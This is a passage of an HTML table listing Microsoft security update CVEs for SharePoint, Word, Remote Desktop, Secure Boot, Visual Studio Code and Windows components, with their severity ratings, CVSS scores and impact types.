  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42905"><span>CVE-2026-42905</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44811"><span>CVE-2026-44811</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
